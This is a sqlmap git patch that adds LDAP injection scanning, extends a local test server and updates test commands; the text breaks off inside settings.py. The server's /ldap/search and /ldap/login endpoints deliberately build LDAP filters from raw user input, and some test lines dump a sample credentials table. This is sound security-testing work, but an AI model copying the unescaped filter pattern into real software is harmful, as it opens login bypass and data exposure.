53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f7882317d12..22f29e5533a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.162" +VERSION = "1.10.6.163" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 6f897b7a0cc..d30c63edbee 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -89,7 +89,7 @@ def vulnTest(): ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction - ("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "available tables [2]: users, creds", "dumped table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "graphql scan complete")), # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) + ("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), From e8162d314ae47fdf55952425522597e1cd1a3d3f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 01:36:38 +0200 Subject: [PATCH 619/853] Adding switch --ldap --- data/txt/sha256sums.txt | 15 +- extra/vulnserver/vulnserver.py | 295 +++++++++++++ lib/controller/checks.py | 8 + lib/controller/controller.py | 17 +- lib/core/settings.py | 42 +- lib/core/testing.py | 1 + lib/parse/cmdline.py | 3 + lib/techniques/ldap/__init__.py | 8 + lib/techniques/ldap/inject.py | 750 ++++++++++++++++++++++++++++++++ tests/test_ldap.py | 420 ++++++++++++++++++ 10 files changed, 1545 insertions(+), 14 deletions(-) create mode 100644 lib/techniques/ldap/__init__.py create mode 100644 lib/techniques/ldap/inject.py create mode 100644 tests/test_ldap.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a0a32e0dbd6..899d7e710a2 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -160,10 +160,10 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py -faaaa586baa4df245b8780a1a808ebf07e3027ce4245ded3274d908c49e1eecd extra/vulnserver/vulnserver.py +32577fc21a6170266438b608ed81620e0b0a889aa8a05124bc7f0905cba772a6 extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -284b5b056f048e5951c43605965f6758cb9cefa54ca30d818b2c1d1c6713fb91 lib/controller/checks.py -b1e89bff221cc907f5033bae941bf7929de9490f5dcdf2747cba676acd2da95b lib/controller/controller.py +c9a1661fc6719655e1e5b6dd72caab680766690c5f746b386093267329f7b3b8 lib/controller/checks.py +256ba0c6967121dc25c95fe09d1165dd8d0530f26c7879e6036f649fb0a6de95 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py @@ -189,18 +189,18 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -1e5c125c69d2921ed69041a2462f6b41d11f9c1afdfe1987b60657484aa5ccf0 lib/core/settings.py +af4dcbb3256ae407ade6fa8270d01d4bbf398d50be3be16b80572835662d6c2f lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py -5955be979a1d5d3ee221d12e88805f6ef767d43bd4c542e01714cc868c4d020c lib/core/testing.py +83e23dd422b0debc82f14b2d072eb36ee478a23e4299caf986372c8c40d00b2c lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -c515041ee2d50aded9afa371de47c3c44c81b30546fb1f6f170b2169ae5e64b4 lib/parse/cmdline.py +a6440d24f8d6b772221fc78a655d3df07a000ba23e7924bd51cf5068097ee1fb lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -242,6 +242,8 @@ a66a4b9df6207dce722c9b71d290ea426723cb4b697b416065dc7dd5db96fe8e lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/graphql/__init__.py a1c5ec208843eb93e0fab40daac090aa3bf914a7dd0afb0f7c55c2db4db8d72b lib/techniques/graphql/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py +1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/ldap/__init__.py +d469815c430caaafeeba285d10974456b96d7019f95738fe8038bfd0855068e4 lib/techniques/ldap/inject.py 44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 lib/techniques/nosql/__init__.py d62b28bf9f1544e65a1017994402f484166f4d64a1efb724351b15e27b851990 lib/techniques/nosql/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py @@ -601,6 +603,7 @@ bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_err c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_hash.py d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py +13d0369f3fea7262f7944999f559da38e5284cbc76660fd7aeffedad78e65f5f tests/test_ldap.py caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py 790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py 57fa9713a3186020be8bcc3f06399e92bf9ce82ec6d3413c76babe19606bb698 tests/test_openapi_drift.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index c13a955265b..99189fbab7c 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -117,6 +117,61 @@ INSERT INTO creds (user_id, password_hash) VALUES (28, '908f7e6d5c4b3a291807f6e5d4c3b2a1'); INSERT INTO creds (user_id, password_hash) VALUES (29, '3049b791fa83e2f42f37bae18634b92d'); INSERT INTO creds (user_id, password_hash) VALUES (30, 'd59a348f90d757c7da30418773424b5e'); + + CREATE TABLE directory ( + dn TEXT, + uid TEXT, + cn TEXT, + sn TEXT, + givenName TEXT, + displayName TEXT, + userPassword TEXT, + mail TEXT, + objectClass TEXT, + objectCategory TEXT, + ou TEXT, + title TEXT, + department TEXT, + company TEXT, + o TEXT, + telephoneNumber TEXT, + mobile TEXT, + manager TEXT, + description TEXT, + l TEXT, + st TEXT, + street TEXT, + postalCode TEXT, + c TEXT, + employeeNumber TEXT, + employeeType TEXT, + member TEXT + ); + -- Column order: dn, uid, cn, sn, givenName, displayName, userPassword, mail, + -- objectClass, objectCategory, ou, title, department, company, o, + -- telephoneNumber, mobile, manager, description, l, st, street, + -- postalCode, c, employeeNumber, employeeType, member + INSERT INTO directory VALUES ('uid=luther,ou=users,dc=example,dc=com', 'luther', 'Luther Blisset', 'Blisset', 'Luther', 'Luther Blisset', 'db3a16990a0008a3b04707fdef6584a0', 'luther@example.com', 'inetOrgPerson', 'Person', 'users', 'System Administrator', 'IT Operations', 'Example Corp', 'Example', '+1 555 0100', '+1 555 0101', 'uid=ada,ou=users,dc=example,dc=com', 'System administrator', 'London', 'Greater London', '10 Downing Street', 'SW1A 2AA', 'GB', '1001', 'Employee', NULL); + INSERT INTO directory VALUES ('uid=fluffy,ou=users,dc=example,dc=com', 'fluffy', 'Fluffy Bunny', 'Bunny', 'Fluffy', 'Fluffy Bunny', '4db967ce67b15e7fb84c266a76684729', 'fluffy@example.com', 'inetOrgPerson', 'Person', 'users', 'Security Engineer', 'Security', 'Example Corp', 'Example', '+1 555 0102', '+1 555 0103', NULL, 'Security engineer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=wu,ou=users,dc=example,dc=com', 'wu', 'Wu Ming', 'Ming', 'Wu', 'Wu Ming', 'f5a2950eaa10f9e99896800eacbe8275', 'wu@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=mark,ou=users,dc=example,dc=com', 'mark', 'Mark Lewis', 'Lewis', 'Mark', 'Mark Lewis', '179ad45c6ce2cb97cf1029e212046e81', 'mark@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Project manager', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=ada,ou=users,dc=example,dc=com', 'ada', 'Ada Lovelace', 'Lovelace', 'Ada', 'Ada Lovelace', '0f1e2d3c4b5a69788796a5b4c3d2e1f0', 'ada@example.com', 'inetOrgPerson', 'Person', 'users', 'Mathematician', 'Research', 'Example Corp', 'Example', '+1 555 0104', NULL, NULL, 'Mathematician', 'Cambridge', NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=grace,ou=users,dc=example,dc=com', 'grace', 'Grace Hopper', 'Hopper', 'Grace', 'Grace Hopper', 'a1b2c3d4e5f60718293a4b5c6d7e8f90', 'grace@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=alan,ou=users,dc=example,dc=com', 'alan', 'Alan Turing', 'Turing', 'Alan', 'Alan Turing', '1a2b3c4d5e6f708192a3b4c5d6e7f809', 'alan@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Cryptanalyst', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=margaret,ou=users,dc=example,dc=com', 'margaret', 'Margaret Hamilton', 'Hamilton', 'Margaret', 'Margaret Hamilton', '9f8e7d6c5b4a3928170605f4e3d2c1b0', 'margaret@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Software engineer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=donald,ou=users,dc=example,dc=com', 'donald', 'Donald Knuth', 'Knuth', 'Donald', 'Donald Knuth', '3c2d1e0f9a8b7c6d5e4f30291807f6e5', 'donald@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=tim,ou=users,dc=example,dc=com', 'tim', 'Tim Berners-Lee', 'Berners-Lee', 'Tim', 'Tim Berners-Lee', 'b0c1d2e3f405162738495a6b7c8d9eaf', 'tim@example.com', 'inetOrgPerson', 'Person', 'users', 'Inventor', 'Research', 'Example Corp', 'Example', '+1 555 0105', NULL, NULL, 'Inventor of the Web', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=linus,ou=users,dc=example,dc=com', 'linus', 'Linus Torvalds', 'Torvalds', 'Linus', 'Linus Torvalds', '6e5d4c3b2a190807f6e5d4c3b2a1908f', 'linus@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Kernel developer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=ken,ou=users,dc=example,dc=com', 'ken', 'Ken Thompson', 'Thompson', 'Ken', 'Ken Thompson', '11223344556677889900aabbccddeeff', 'ken@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Unix co-creator', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=dennis,ou=users,dc=example,dc=com', 'dennis', 'Dennis Ritchie', 'Ritchie', 'Dennis', 'Dennis Ritchie', 'ffeeddccbbaa00998877665544332211', 'dennis@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'C language creator', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=barbara,ou=users,dc=example,dc=com', 'barbara', 'Barbara Liskov', 'Liskov', 'Barbara', 'Barbara Liskov', '1234567890abcdef1234567890abcdef', 'barbara@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Turing Award winner', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=edsger,ou=users,dc=example,dc=com', 'edsger', 'Edsger Dijkstra', 'Dijkstra', 'Edsger', 'Edsger Dijkstra', 'abcdef1234567890abcdef1234567890', 'edsger@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('ou=users,dc=example,dc=com', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'organizationalUnit', NULL, 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'User accounts', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('ou=groups,dc=example,dc=com', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'organizationalUnit', NULL, 'groups', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Group entries', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('cn=admins,ou=groups,dc=example,dc=com', NULL, 'admins', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Administrators group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=luther,ou=users,dc=example,dc=com'); + INSERT INTO directory VALUES ('cn=admins,ou=groups,dc=example,dc=com', NULL, 'admins', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Administrators group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=ada,ou=users,dc=example,dc=com'); + INSERT INTO directory VALUES ('cn=developers,ou=groups,dc=example,dc=com', NULL, 'developers', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developers group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=wu,ou=users,dc=example,dc=com'); + INSERT INTO directory VALUES ('cn=developers,ou=groups,dc=example,dc=com', NULL, 'developers', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developers group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=linus,ou=users,dc=example,dc=com'); """ LISTEN_ADDRESS = "localhost" @@ -246,6 +301,201 @@ def waf_score(value, ua=None, level=0): retVal += WAF_SCANNER_UA_WEIGHT return retVal +# --- LDAP endpoint (vulnerable search and login, backed by the directory table) ------------------ + +def _ldap_escape_like(value): + """Escape a value for safe embedding in a SQLite LIKE pattern: backslash, percent, + and underscore are the only characters with special meaning in LIKE.""" + if value is None: + return None + return value.replace('\\', '\\\\').replace('%', '\\%').replace('_', '\\_') + +def _ldap_attr(attr): + """Map an LDAP attribute name to the directory table column, or None if unknown.""" + valid = {"dn", "uid", "cn", "sn", "givenName", "displayName", "userPassword", "mail", "objectClass", "objectCategory", "ou", "title", "department", "company", "o", "telephoneNumber", "mobile", "manager", "description", "l", "st", "street", "postalCode", "c", "employeeNumber", "employeeType", "member"} + return attr if attr in valid else None + +def _ldap_match(text, start): + """Find the closing ')' that balances the opening '(' at `start`. Skip escaped + hex sequences (e.g. \\28 for literal '(' inside a value) but treat every raw ')' + as a structural closer.""" + depth = 0 + i = start + while i < len(text): + ch = text[i] + if ch == '(': + depth += 1 + elif ch == ')': + depth -= 1 + if depth == 0: + return i + 1 + elif ch == '\\': + i += 1 + i += 1 + return len(text) + +def _ldap_parse_value(text, start): + """Parse an assertion value from filter text at position `start`, handling escape sequences. + Returns (value, end_pos).""" + retVal = [] + i = start + while i < len(text) and text[i] not in (')',): + if text[i] == '\\' and i + 2 < len(text): + retVal.append(chr(int(text[i+1:i+3], 16))) + i += 3 + else: + retVal.append(text[i]) + i += 1 + return ''.join(retVal), i + +def _ldap_filter_to_sql(text, start=0): + """Convert an LDAP filter substring starting at `start` to a parameterized + SQLite WHERE clause. Returns (sql_template, params, end_pos) or (None, [], end_pos) + on parse failure. Values are passed as parameters so that user-controlled + characters (apostrophe, backslash, etc.) cannot break the SQL string literal.""" + + if start >= len(text) or text[start] != '(': + return None, [], start + + i = start + 1 + if i >= len(text): + return None, [], start + + op = text[i] + i += 1 + + if op in ('&', '|'): + # Compound filter: collect all sub-filters + sub_clauses = [] + sub_params = [] + while i < len(text) and text[i] == '(': + clause, params, i = _ldap_filter_to_sql(text, i) + if clause: + sub_clauses.append(clause) + sub_params.extend(params) + # Always use bracket-matched end so nested compounds don't shift the + # parent's notion of where this child ends (reviewer blocker 3) + end = _ldap_match(text, start) + if not sub_clauses: + return None, [], end + if len(sub_clauses) == 1: + return sub_clauses[0], sub_params, end + joiner = " AND " if op == '&' else " OR " + return "(%s)" % joiner.join(sub_clauses), sub_params, end + + elif op == '!': + # NOT filter + clause, params, i = _ldap_filter_to_sql(text, i) + end = _ldap_match(text, start) + if clause: + return "(NOT (%s))" % clause, params, end + return None, [], end + + else: + # Simple filter: attr OP value + # Re-read from start+1 to get the full attr name + j = start + 1 + while j < len(text) and text[j] not in ('=', '>', '<', '~', ')'): + j += 1 + attr = text[start+1:j].strip() + if not attr: + return None, [], _ldap_match(text, start) + + col = _ldap_attr(attr) + if col is None: + return None, [], _ldap_match(text, start) + + if j >= len(text): + return None, [], start + + # Check for approx match (~=) + if text[j] == '~' and j + 1 < len(text) and text[j+1] == '=': + op_type = '~=' + j += 2 + elif text[j] == '>' and j + 1 < len(text) and text[j+1] == '=': + op_type = '>=' + j += 2 + elif text[j] == '<' and j + 1 < len(text) and text[j+1] == '=': + op_type = '<=' + j += 2 + elif text[j] == '=': + op_type = '=' + j += 1 + else: + return None, [], _ldap_match(text, start) + + value, _ = _ldap_parse_value(text, j) + end = _ldap_match(text, start) + + if op_type == '=': + if value == '*': + return "(%s IS NOT NULL AND %s != '')" % (col, col), [], end + elif '*' in value: + parts = value.split('*') + if len(parts) == 2 and not parts[0] and not parts[1]: + # Just '*' -> presence + return "(%s IS NOT NULL AND %s != '')" % (col, col), [], end + elif len(parts) == 2 and parts[0] and not parts[1]: + # 'prefix*' -> anchored prefix match (LDAP semantics) + return "(%s LIKE ? ESCAPE '\\')" % col, ["%s%%" % _ldap_escape_like(parts[0])], end + elif len(parts) == 2 and not parts[0] and parts[1]: + # '*suffix' -> anchored suffix match (LDAP semantics) + return "(%s LIKE ? ESCAPE '\\')" % col, ["%%%s" % _ldap_escape_like(parts[1])], end + else: + # '*mid*', 'pre*mid*suf', etc. -- split('*') already + # partitions the value into literal segments; joining + # them with '%' naturally produces the correct anchored + # LIKE pattern: empty first/last elements from surrounding + # wildcards become leading/trailing '%' automatically. + pattern = '%'.join(_ldap_escape_like(p) for p in parts) + return "(%s LIKE ? ESCAPE '\\')" % col, [pattern], end + else: + return "(%s = ?)" % col, [value], end + elif op_type == '>=': + return "(%s >= ?)" % col, [value], end + elif op_type == '<=': + return "(%s <= ?)" % col, [value], end + elif op_type == '~=': + return "(%s = ?)" % col, [value], end + + return None, [], end + + +def _ldap_execute(filter_str): + """Execute an LDAP filter against the directory table. Returns (rows, error_msg).""" + if not filter_str or not filter_str.strip(): + return None, "Bad search filter" + + # Simple bracket validation + if filter_str.count('(') != filter_str.count(')'): + return None, "Bad search filter (-7)" + + try: + clause, params, _ = _ldap_filter_to_sql(filter_str) + if not clause: + return None, "Bad search filter (-7)" + + sql = "SELECT * FROM directory WHERE %s" % clause + with _lock: + _cursor.execute(sql, params) + rows = _cursor.fetchall() + return rows, None + except Exception as ex: + msg = str(ex) + # Emulate different back-end error messages + if "no such column" in msg.lower(): + return None, "Bad search filter" + if "unrecognized" in msg.lower() or "syntax" in msg.lower(): + return None, "Bad search filter (-7)" + return None, "Bad search filter (%s)" % msg.split(':')[0] + +def _ldap_row_to_obj(row): + """Convert a SQLite row to a dict with non-None attributes.""" + if not row: + return None + keys = ("dn", "uid", "cn", "sn", "givenName", "displayName", "userPassword", "mail", "objectClass", "objectCategory", "ou", "title", "department", "company", "o", "telephoneNumber", "mobile", "manager", "description", "l", "st", "street", "postalCode", "c", "employeeNumber", "employeeType", "member") + return dict((k, row[i]) for i, k in enumerate(keys) if row[i] is not None) + # --- GraphQL endpoint (vulnerable Apollo-style, backed by the same SQLite database) ---------- # Hard-coded introspection response matching the schema below. Every GraphQL tool (including @@ -594,6 +844,51 @@ def do_REQUEST(self): self.wfile.write(output.encode(UNICODE_ENCODING)) return + if self.url in ("/ldap", "/ldap/search"): + self.send_response(OK) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + q = self.params.get("q", "") + if q: + filter_str = "(|(cn=*%s*)(sn=*%s*)(mail=*%s*)(uid=*%s*)(description=*%s*))" % (q, q, q, q, q) + rows, error = _ldap_execute(filter_str) + if error: + output = json.dumps({"resultCode": 1, "errorMessage": error}) + else: + entries = [_ldap_row_to_obj(r) for r in (rows or [])] + output = json.dumps({"resultCode": 0, "entries": entries, "count": len(entries)}, default=str) + else: + output = json.dumps({"resultCode": 0, "entries": [], "count": 0}) + + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + + if self.url == "/ldap/login": + self.send_response(OK) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + user = self.params.get("user", "") + password = self.params.get("pass", "") + if user and password: + filter_str = "(&(uid=%s)(userPassword=%s))" % (user, password) + rows, error = _ldap_execute(filter_str) + if error: + output = json.dumps({"resultCode": 49, "errorMessage": error}) + elif rows: + entry = _ldap_row_to_obj(rows[0]) + output = json.dumps({"resultCode": 0, "authenticated": True, "user": entry}, default=str) + else: + output = json.dumps({"resultCode": 49, "authenticated": False, "errorMessage": "Invalid credentials"}) + else: + output = json.dumps({"resultCode": 49, "authenticated": False, "errorMessage": "Missing credentials"}) + + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + if self.url == '/': if not any(_ in self.params for _ in ("id", "query")): self.send_response(OK) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 6a9fa8d3404..f51d42000b2 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -82,6 +82,7 @@ from lib.core.settings import GRAPHQL_ERROR_REGEX from lib.core.settings import HEURISTIC_CHECK_ALPHABET from lib.core.settings import INFERENCE_EQUALS_CHAR +from lib.core.settings import LDAP_ERROR_REGEX from lib.core.settings import IPS_WAF_CHECK_PAYLOAD from lib.core.settings import IPS_WAF_CHECK_RATIO from lib.core.settings import IPS_WAF_CHECK_TIMEOUT @@ -1186,6 +1187,13 @@ def _(page): if conf.beep: beep() + if not conf.ldap and re.search(LDAP_ERROR_REGEX, page or ""): + infoMsg = "heuristic (LDAP) test shows that %sparameter '%s' might be vulnerable to LDAP injection (rerun with switch '--ldap')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + kb.disableHtmlDecoding = False kb.heuristicMode = False diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 7b5b0dff3d3..2294a66c1ab 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -514,12 +514,7 @@ def start(): setupTargetEnv() - if conf.graphql: - from lib.techniques.graphql.inject import graphqlScan - graphqlScan() - continue - - if not checkConnection(suppressOutput=conf.forms): + if not any((conf.graphql,)) and not checkConnection(suppressOutput=conf.forms): continue if conf.rParam and kb.originalPage: @@ -533,11 +528,21 @@ def start(): checkWaf() + if conf.graphql: + from lib.techniques.graphql.inject import graphqlScan + graphqlScan() + continue + if conf.nosql: from lib.techniques.nosql.inject import nosqlScan nosqlScan() continue + if conf.ldap: + from lib.techniques.ldap.inject import ldapScan + ldapScan() + continue + if conf.nullConnection: checkNullConnection() diff --git a/lib/core/settings.py b/lib/core/settings.py index 22f29e5533a..d50f1ededd6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.163" +VERSION = "1.10.6.164" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -843,7 +843,7 @@ BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER) # String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value -DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">" +DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">)" # Regular expression used for recognition of file inclusion errors FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}" @@ -939,6 +939,44 @@ ) GRAPHQL_ERROR_REGEX = "(?:%s)" % '|'.join(GRAPHQL_PARSE_ERRORS + 